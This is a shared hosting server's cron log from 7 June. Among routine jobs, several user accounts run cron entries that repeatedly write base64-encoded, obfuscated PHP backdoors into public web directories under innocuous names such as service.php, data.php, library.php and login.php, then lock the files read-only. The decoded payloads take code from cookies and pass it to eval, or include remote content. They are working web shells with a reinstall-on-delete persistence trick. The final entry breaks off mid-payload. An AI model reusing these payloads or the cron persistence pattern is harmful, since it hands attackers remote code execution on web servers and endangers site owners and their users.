Jun  7 15:36:02 medusa CROND[10137]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:36:02 medusa CROND[10138]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:36:02 medusa CROND[10139]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:36:02 medusa CROND[10142]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:36:02 medusa CROND[10144]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:36:02 medusa CROND[10146]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:36:02 medusa CROND[10145]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:36:02 medusa CROND[10148]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:36:02 medusa CROND[10153]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:36:02 medusa CROND[10160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:37:01 medusa CROND[11614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:37:01 medusa CROND[11622]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:37:01 medusa CROND[11624]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:37:01 medusa CROND[11625]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:37:01 medusa CROND[11626]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:37:01 medusa CROND[11629]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:37:01 medusa CROND[11630]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:37:01 medusa CROND[11631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:37:01 medusa CROND[11633]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:37:01 medusa CROND[11632]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Jun  7 15:37:01 medusa CROND[11634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:37:01 medusa CROND[11635]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:37:01 medusa CROND[11640]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:37:01 medusa CROND[11636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:38:02 medusa CROND[13452]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:38:02 medusa CROND[13453]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:38:02 medusa CROND[13454]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:38:02 medusa CROND[13457]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:38:02 medusa CROND[13456]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAg